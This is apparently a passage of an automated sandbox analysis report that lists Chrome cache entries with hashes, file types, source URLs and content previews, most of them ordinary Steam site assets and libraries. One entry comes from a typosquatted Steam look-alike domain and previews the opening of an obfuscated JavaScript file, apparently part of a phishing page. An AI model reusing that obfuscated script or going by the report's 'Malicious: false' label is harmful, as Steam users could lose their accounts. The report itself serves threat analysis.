SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (52909), with no line terminators
Category:	downloaded
Size (bytes):	52917
Entropy (8bit):	5.292876158961998
Encrypted:	false
SSDEEP:	1536:lBb2XHzZBzQZXIJKSaTFsyNv4JePKcS1ITzrMzHazXZhB0XY5s:nb233Q6JKSaTFsyNv4JePKcS1ITzrMzH
MD5:	5FD943794440DEE4D1865B9203FD1577
SHA1:	751295129DF43A924D24330B8E2652399F5A18DE
SHA-256:	84227D83C7A95DD965FB12024B63A42E275DF9F1C755AF8C86F92A52A35BCDF9
SHA-512:	C202B209199680BB969D3F7BAE6AD43583212B49F18941A1F885CA2047EE5E4384222180D66E9B8EA048DE8AAE88415A88D2CAE81B3BC95B2EF8E2F13B58C498
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/7d1d7c577e0751595d5c574d.js
Preview:	function _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5){const _0x4d1ffc=_0x46ad,_0x595ed1=_0x2f05a7();while(!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/0x7)+-parseInt(_0x4d1ffc(0x285))/0x8+parseInt(_0x4d1ffc(0x29b))/0x9;if(_0x3b298d===_0x2cecd5)break;else _0x595ed1['push'](_0x595ed1['shift']());}catch(_0x139b8a){_0x595ed1['push'](_0x595ed1['shift']());}}}(_0x110d,0x951f0),((()=>{const _0x4b85b2=_0x46ad;var _0x19e3ce=Object[_0x4b85b2(0x199)],_0x353478=Object['defineProperty'],_0x187537=Object[_0x4b85b2(0x223)],_0x1d1f0e=Object[_0x4b85b2(0x1c4)],_0x596794=Object[_0x4b85b2(0x1c0)],_0x389621=Object[_0x

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (377), with CRLF line terminators
Category:	dropped
Size (bytes):	34674
Entropy (8bit):	5.421358067509858
Encrypted:	false
SSDEEP:	768:ciJQBnCB/MaberYaWM5tWgFPQVGvKMpEFbW:cMQJu/Mabc4MZPPvKzk
MD5:	3F9FAFDC9C0CDDD25D6E4D046A8D42D3
SHA1:	E277FDA3655E94DDB80F03225EFA7EE8EBD6BB30
SHA-256:	A2ADAD654A0E37C791418E897592D6213B0CBEB73B35C1DE6CA82085C4E79CE9
SHA-512:	012D99F610FBA081390225909D3915361EE5638D71EE507B3D05EB71D05C1489EF1CDC0A39DA1D2D1ADACBDFAC2C279D96EBB47C72273CC2662E06E4378EEBFE
Malicious:	false
Reputation:	low
Preview:	..// Copyright (c) 2005 Tom Wu..// All Rights Reserved...// See "LICENSE" for details...../.. Copyright (c) 2003-2005 Tom Wu.. * All Rights Reserved... .. Permission is hereby granted, free of charge, to any person obtaining.. * a copy of this software and associated documentation files (the.. * "Software"), to deal in the Software without restriction, including.. * without limitation the rights to use, copy, modify, merge, publish,.. * distribute, sublicense, and/or sell copies of the Software, and to.. * permit persons to whom the Software is furnished to do so, subject to.. * the following conditions:.. .. The above copyright notice and this permission notice shall be.. * included in all copies or substantial portions of the Software... .. THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, .. * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY .. * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. .. .. IN NO EVENT SHAL

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel
Category:	dropped
Size (bytes):	1406
Entropy (8bit):	1.6214494414274285
Encrypted:	false
SSDEEP:	6:UcLDpXejv8EGctuBoCWCqRFoRJrlRq0qGpmEDqSrur3pTHkl:UcLNejketKWCqLkXqTGQE2SO54l
MD5:	2690CED7D66CF8B34658922E9625F65E
SHA1:	57477C2180CC7B6B9E3064A46CF8DA4AD7555540
SHA-256:	0C6516E22335E762E68BB63CC3F6EEE7455FC226D0FC00C62EF13FC93FA16971
SHA-512:	C95A83A53C9FD1DA6388B8C63E6B8434670F1A0C9C9DB2CC775EFC127899536095EC8290EC251575D1A355CC8C3A2C9786E719AE7E51D992DE9E73E080D92AAB
Malicious:	false
Reputation:	low
Preview:	..............h.......(....... ...........@...................ust.....QVS.................\|\|\|.kom.....^[]...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (303), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	31241
Entropy (8bit):	5.5121275092165956
Encrypted:	false
SSDEEP:	768:JFtyux8CbTY7fG2WTJt14wXrx8aoSAUwbTY7fG29TJt14wt2ySSSona7B2D:JFtyux8CbTY7fG2WTJt14wXrx8aoSAjK
MD5:	46109DD0A9E35DBF16764272E89F5291
SHA1:	A55E028FF6DEBFC989AE45FFF184B54699D81620
SHA-256:	63B775BF14A7688CEB82EE26B69F5E18B58C3479299468D4F6920E12AD5C3EF6
SHA-512:	D816146585966A7EA764F745107AA6D8947B8CBCC1C0A8BA0EF0F2E3012C6B9928E41C1CF4E0893810CC5D8E025F214F3EEABF54DD3167209D1E6F7B8212A7F8
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="ru">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>......... Steam</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://help.steampowered.com/public/shared/css/motiva_sans.css?v=zaLmG4UPg8fx" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/shared/css/buttons.css?v=JANZnwhiqvxS" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/shared/css/shared_global.css?v=g5jYek09HZX0" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm" rel="stylesheet" type="text/css" >.<link href="https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs" rel="stylesheet" type="text/css" >.<l

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.358694969562842
Encrypted:	false
SSDEEP:	3:mSpzB/CNCkuS1vY:mSpziuS1A
MD5:	E217090B911CC13ABEDBEB688CA1A554
SHA1:	CB009E959AB4F54411454EF6EB16E67D01580C04
SHA-256:	3F401608D8945004C0B649400BAD5E54956C6749DCA05BFEA15C7F2CBA996761
SHA-512:	3E47A536E0A758292CC3033B6706377F030B6ADD7ACBBD62AF5C145CE70094EA25CBD6B899F2BE557DE6B7899C50E7E41B331448F20688BEF77B91A70AE5E768
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSHgn58yjDwGuX3xIFDcpVNukSBQ1nZ7P-EgUNccm79Q==?alt=proto
Preview:	ChsKBw3KVTbpGgAKBw1nZ7P+GgAKBw1xybv1GgA=

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	136904
Entropy (8bit):	5.308375203320282
Encrypted:	false
SSDEEP:	1536:bZuIBobvWn/B3xfemTMePKnkwt/1YJO0MMxqTEZ5jpYwr0svwWVjg9WN:bNYePKnk9AfM3Z5jWs0svwWVjg9u
MD5:	473ADDDEE09D46911036C82DE1DAD9F4
SHA1:	1DE8FCD88F7F8E513CBC6F4CE1FCEB7B7A595CE1
SHA-256:	6770AEECA1ECECD3192C0C7CEC9F66308E8EED52D53C5F08FB72111764A0FF83
SHA-512:	473373DD46D58C4251E72B8CA7BCD518DC831F6B6FFFF63C8B9CBA5ABCB3A9D7E8F405C611EDB5F5CEEB34EDDA5FDF9AA384266F5A7F6E913A15E35F25AA5CBE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/store.css?v=BoPNbbsndIQb&l=english
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}......html {...height: 100%;..}....body.v6 {...position: relative;...min-height: 100%;...font-family: Arial, Helvetica, sans-serif;...color: #c6d4df;...font-size: 12px;..}....body.v6.in_client {...background-position: center top;..}....body.v6.game_bg {.. background: #1b2838;..}....body.v6 > div#global_header {...border-bottom-color: #171a21;..}.....v6_bg {.../* background: url( '/public/images/v6/tag_browse_header_bg.png' ) no-repeat center top; */..}....body.blue .v6_bg {...background:....url( '/public/images/v6/blue_top_center.png' ) center top no-repeat,....url( '/public/images/v6/blue_top_repeat.png' ) center top repeat-x..;.....min-height: 370px;..}....body.v6 div#store_header {...background-color: transparent;..

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	169399
Entropy (8bit):	4.976254040069433
Encrypted:	false
SSDEEP:	1536:CZXcWblD1ySId1u6p3JuZolKvI28mGY7NIj4WT0PjXsW0NKWzcEjpPrmcGKJ/jfT:ocWblASIdIv8tXYPjkrmgD8d3dI
MD5:	6A39E0B509FECB928D47B8A2643FED2A
SHA1:	F67FA6CB1D09963D10BA117D6553C8E7D5BC7863
SHA-256:	D8BDEA7FFF893DBDBEAF6C2AFFEC091A77483B9EC10E7958486BC3B6CC170C96
SHA-512:	B9B8C6D9AC4928686C5EA254AC8F765C4F3690F79E5B1CCAAFFC48D4BD47872B9CC5475C038F70D804740C81915FDFCE315EBE553B628D12F7CA1CC4467075D0
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy
Preview:	../* Prototype JavaScript framework, version 1.7.. * (c) 2005-2010 Sam Stephenson.. .. Prototype is freely distributable under the terms of an MIT-style license... * For details, see the Prototype web site: http://www.prototypejs.org/.. .. --------------------------------------------------------------------------/....var Prototype = {.... Version: '1.7',.... Browser: (function(){.. var ua = navigator.userAgent;.. var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';.. return {.. IE: !!window.attachEvent && !isOpera,.. Opera: isOpera,.. WebKit: ua.indexOf('AppleWebKit/') > -1,.. Gecko: ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,.. MobileSafari: /Apple.Mobile/.test(ua).. }.. })(),.... BrowserFeatures: {.. XPath: !!document.evaluate,.... SelectorsAPI: !!document.querySelector,.... ElementExtensions: (function() {.. var constructor = window.Element

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Algol 68 source, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3276
Entropy (8bit):	5.553388243206585
Encrypted:	false
SSDEEP:	96:gVRrYJuRrYJMu31/3z5SY2ZVba/vlWmij:gfrsWrsMu31/3dSY2jkl4j
MD5:	4522A2252222088E18051FC411359093
SHA1:	FBFD96E45FCFE5E7CE7F4043407499FB0E960807
SHA-256:	6F8426105449E000CC11B5C2670677F090023C11C7D65BAF4C13C10C3A829141
SHA-512:	A135534B1766CF4CC538E28D6F6EF517A946E62D0D18DB3007071F8F1B6BBE4979F2CD4501AA88019B24B039A0A02932139B8E4C31B109DB41C78A02F6595BCA
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/javascript/base64-binary.js?v=RSKiJSIiCI4Y
Preview:	../..Copyright (c) 2011, Daniel Guerrero..All rights reserved.....Redistribution and use in source and binary forms, with or without..modification, are permitted provided that the following conditions are met:.. Redistributions of source code must retain the above copyright.. notice, this list of conditions and the following disclaimer... * Redistributions in binary form must reproduce the above copyright.. notice, this list of conditions and the following disclaimer in the.. documentation and/or other materials provided with the distribution.....THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND..ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED..WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE..DISCLAIMED. IN NO EVENT SHALL DANIEL GUERRERO BE LIABLE FOR ANY..DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES..(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUB

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3355
Entropy (8bit):	5.396115949174596
Encrypted:	false
SSDEEP:	48:jrE1CT8Pi/CCsj5x9cHcYVGwGnrGdrtjcd/UfxGD/CtByLF3vDD+FQyB8pCkP:IawCp8E/0Ec+ByBv+FQyCzP
MD5:	9AF8AAEF60A740E8062CCDA7EFE7C179
SHA1:	1D72FFFE2679D8E55F35C1CEEFA29261C55E0A43
SHA-256:	7173A15A85C666C409667810A53ED83FE73505988FF8496EE65C8EE03D683A6A
SHA-512:	349F5F3958A19BE9B83DE6A18F22786B0C9D79815ABA89F721EE4A2C2DA66098F24794AEA023D84E645F17BCB7A9A5E65EAC331C79530010AA08707329F32114
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/crypto/rsa.js
Preview:	var RSAPublicKey = function($modulus_hex, $encryptionExponent_hex) {...this.modulus = new BigInteger( $modulus_hex, 16);...this.encryptionExponent = new BigInteger( $encryptionExponent_hex, 16);..};....var Base64 = {...base64: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",...encode: function($input) {....if (!$input) {.....return false;....}....var $output = "";....var $chr1, $chr2, $chr3;....var $enc1, $enc2, $enc3, $enc4;....var $i = 0;....do {.....$chr1 = $input.charCodeAt($i++);.....$chr2 = $input.charCodeAt($i++);.....$chr3 = $input.charCodeAt($i++);.....$enc1 = $chr1 >> 2;.....$enc2 = (($chr1 & 3) << 4) \| ($chr2 >> 4);.....$enc3 = (($chr2 & 15) << 2) \| ($chr3 >> 6);.....$enc4 = $chr3 & 63;.....if (isNaN($chr2)) $enc3 = $enc4 = 64;.....else if (isNaN($chr3)) $enc4 = 64;.....$output += this.base64.charAt($enc1) + this.base64.charAt($enc2) + this.base64.charAt($enc3) + this.base64.charAt($enc4);....} while ($i < $input.length);....return $output;...},...decode:

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	2175818
Entropy (8bit):	5.562473572476677
Encrypted:	false
SSDEEP:	12288:FoNNy6NEjLDgfHxyvXoW1hsMpta8vlrgAdW718HmDLuNg/dt7muR0Pq:FANyvDg0hsMHaSrg6WxLuNCdtKuR0Pq
MD5:	694562C2AD40E74A8B87C3120B08A1FA
SHA1:	27F264BD235654B8AF75E8F9D40C5EADBF2E3DEA
SHA-256:	792F51AA46A8493DC87FD2956E7B1F3D70D8B242197CE80A9086795B4C6A7992
SHA-512:	4EF828B3870C2E9B40594E2179205D84C2DBC1B405C5D543BE0DFBA323588DED4832D690609D16070633496D3FC5741F77D6A8E6E64C80EED76213814A67D741
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/main.js?v=aUViwq1A50qL&l=english
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8792],{53955:(e,t,r)=>{var i={"./shoppingcart_brazilian.json":[46865,4977],"./shoppingcart_bulgarian.json":[62810,9050],"./shoppingcart_czech.json":[16052,6771],"./shoppingcart_danish.json":[83976,4630],"./shoppingcart_dutch.json":[85333,8709],"./shoppingcart_english.json":[95811,311],"./shoppingcart_finnish.json":[81676,2964],"./shoppingcart_french.json":[11481,3679],"./shoppingcart_german.json":[91187,2753],"./shoppingcart_greek.json":[89155,5579],"./shoppingcart_hungarian.json":[74150,9326],"./shoppingcart_indonesian.json":[39761,9935],"./shoppingcart_italian.json":[82411,2095],"./shoppingcart_japanese.json":[38374,1192],"./shoppingcart_koreana.json":[59552,2184],"./shoppingcart_latam.json":[32464,6592],"./shoppingcart_norwegian.json":[93987,3167],"./shoppingcart

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	downloaded
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (361), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	57258
Entropy (8bit):	5.243366680566906
Encrypted:	false
SSDEEP:	768:kHHithZY2ucy8vQfVYvArYRaeNBJk0XHBkwQ+JOJSk3acbAHEvaSlEP04rn/xENj:of8JXNrhBcRTUEFwiKYfBn
MD5:	3D42397BCB312EC07D70AE0D68FBADDE
SHA1:	3AF248D34E6A31B3D3269C65505458D42372EF0B
SHA-256:	53961D66B24EF8CC16B6CB5CB249CDF311AA89B6AFC70F06A242FCCC3A4EFCD3
SHA-512:	F4C325A231B11CE6A3E2899367E081CD6AC2E7AC1469542414BA0E3B57DF5897DF51615E2AD0AB6559E6B38003FFDBFA533C6E5701D0BC2F40FAE80EB4332348
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/cart.css?v=u2FIaietX6aF&l=english
Preview:	/* CSS Document /....body.v6 {....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal /......}.....tooltip_q_ctn {.. background: rgba(255,255,255,0.4);.. color: white;.. border-radius: 10px;.. font-size: 11px;.. padding: 1px 5px 2px 5px;.. cursor: default;..}...tooltip_q_ctn:hover {.. background: rgba(255,255,255,0.5);..}....body.v6.checkout .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -50px;..}....body.v6.checkout_microtxn .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -10px;..}....body.v6.cart_page h4 {.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal */.......font-weight: normal;...color: #c7d5e0;..}....body.v6.login .rightcol h2 {...margin-top: 0px;..}..body.v6.login .rightcol .spotlight_block {...margin-bottom: 25px;..}....#checkout_review_cart_area {...margin-top: 56px;..}....#payment_info_tab .checkout_content .payment_info_form_area {...background: rgba( 0, 0, 0, 0.2 );...paddi

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/popups/btn_arrow_down_padded.png
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/header/logo_steam.svg?t=962016
